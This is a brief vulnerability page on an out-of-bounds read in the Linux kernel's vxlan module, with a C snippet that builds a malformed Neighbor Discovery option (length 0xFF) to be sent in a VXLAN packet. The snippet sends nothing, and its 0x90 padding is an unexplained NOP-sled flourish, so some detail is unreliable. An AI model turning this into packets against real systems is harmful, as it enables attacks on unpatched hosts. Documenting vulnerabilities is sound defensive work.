CVE-2026-31738 Linux内核vxlan模块越界读取漏洞

// Conceptual Proof of Concept for CVE-2026-31738 // This snippet demonstrates how to craft a malformed ND option. // Sending this within a VXLAN encapsulated packet triggers the vulnerability. #include <stdio.h> #include <string.h> struct nd_option { unsigned char type; unsigned char length; // Length is in units of 8 octets }; int main() { printf("[+] CVE-2026-31738 PoC Generator\n"); printf("[+] Vulnerability: vxlan_na_create OOB Read\n"); unsigned char packet[256]; struct nd_option *opt = (struct nd_option *)packet; // Set Type to Source Link-Layer Address (1) opt->type = 0x01; // Set Length to a malicious value (e.g., 0xFF) // Valid length for MAC is 1 (8 bytes). // Excessive length causes parser to read beyond buffer. opt->length = 0xFF; // Fill padding to simulate payload memset(packet + 2, 0x90, sizeof(packet) - 2); printf("[+] Malformed ND option created with length: 0x%02x\n", opt->length); printf("[+] Payload must be sent inside a VXLAN packet to the target.\n"); return 0; }